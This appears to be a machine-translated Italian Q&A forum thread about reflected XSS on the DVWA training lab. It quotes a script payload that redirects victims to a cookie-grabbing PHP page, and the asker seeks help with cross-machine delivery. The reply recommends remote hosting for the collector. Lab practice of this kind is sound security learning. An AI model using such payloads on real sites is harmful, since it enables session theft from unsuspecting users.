Come sfruttare XSS riflesso per rubare i cookie

0

Sto tentando di sfruttare una vulnerabilità XSS Reflected su DVWA per rubare i cookie. Attualmente sono riuscito a creare il seguente payload in una richiesta HTTP che reindirizzerà la vittima per caricare ed eseguire un file php cookie.php .

Il seguente payload, se inserito nella casella di ricerca, caricherà un file php.

<script>document.location.href="http://localhost:81/myfiles/cookie.php"</script>

Pertanto, vorrei incorporare questo payload su una pagina malevola (a cui la vittima accederà). Questo è l'aspetto della pagina dannosa.

Quando questa pagina malevola viene caricata dall'utente, un file php deve essere caricato per rubare il cookie dalla vittima e quindi scrivilo su un file Ciò non sta accadendo nonostante il fatto che il payload sia riecheggiato con successo nel browser della vittima. Lo controllo stampando la risposta HTTP e ho cercato il mio payload. Ecco una dimostrazione del concetto. Quindi, nonostante il payload sia stato consegnato con successo al browser della vittima, il file php non è stato caricato.

Questo exploit funzionerà se carico cookie.php manualmente sul browser o se lo invio alla casella di ricerca direttamente sul server web vulnerabile, ma questo è un imbroglio. Quindi la mia prima domanda è: Perché il file php non viene caricato se il payload è stato restituito con successo?

La mia seconda domanda è: supponiamo che voglio farlo in uno scenario di laboratorio reale in cui ho due macchine sulla stessa rete virtuale. 192.168.56.102 sta eseguendo web server e ha il cookie grabber. La pagina dannosa funzionerà se cambio solo gli indirizzi IP? Voglio dire ... invece di localhost sulla porta 81 lo cambia in IP sulla porta 81?

So che probabilmente non funzionerebbe perché se faccio questo:

  http.open("GET","http://192.168.56.102:81/vulnerabilities/xss_r/?name="+encoded_url,true);

Non verrà assegnato un cookie perché questa "domanda" non è indirizzata alla mia sessione del browser ma è invece l'IP del server.

Chiaramente, puoi vedere che sono quasi arrivato (e forse un po 'perso) ma posso davvero usare un feedback su questo. Cosa ne pensi?

    
posta fish202 13.11.2017 - 02:04
fonte

1 risposta

2

In realtà sto affrontando lo stesso errore quando stavo facendo. E quella volta che sono venuto a conoscenza dell'hosting locale ha alcune limitazioni. Non possiamo inviare direttamente dati tra macchine che sono localmente. Quindi, se si tenta di utilizzare l'hosting remoto che funzionerà E ancora una cosa è che il tuo collegamento POC è scaduto.

Qui sto mettendo il link del mio POC: link

Spero che questo ti possa aiutare :)

Grazie a te ...

    
risposta data 15.11.2017 - 16:13
fonte

Leggi altre domande sui tag